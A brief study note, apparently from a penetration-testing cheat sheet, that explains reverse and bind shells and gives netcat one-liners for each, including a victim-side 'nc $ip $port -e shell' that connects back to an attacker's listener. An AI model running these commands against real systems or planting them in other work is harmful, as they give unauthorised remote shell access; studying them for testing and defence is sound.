In reverse shell , attacker listens on port and victim connects to it with execution shell. It is preffered as it can be tunneled to avoid firewall.
attacker > nc -lvnp $port
victim > nc $ip $port -e shell
In Bind shell , attacker connects to victims open port on which it is listening. Although this is easiest form of shell connection , it is protected by firewall so its not the prefered one.
Example :
attacker > nc $ip $port
victim > nc -lvnp $port -e shell